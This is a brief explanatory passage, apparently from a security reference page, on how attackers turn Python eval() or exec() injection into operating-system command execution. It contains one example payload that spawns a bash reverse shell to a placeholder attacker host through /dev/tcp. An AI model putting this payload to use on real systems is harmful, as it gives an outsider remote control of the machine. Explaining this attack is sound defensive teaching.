From `eval()` to Shell: Remote Command Injection

Attackers frequently exploit `eval()` or `exec()` to inject code that subsequently executes arbitrary operating system commands, such as spawning reverse shells like `__import__('os').system('bash -i >& /dev/tcp/attacker.com/port 0>&1')`, allowing for remote control and full system takeover.

Sources

Open the full topic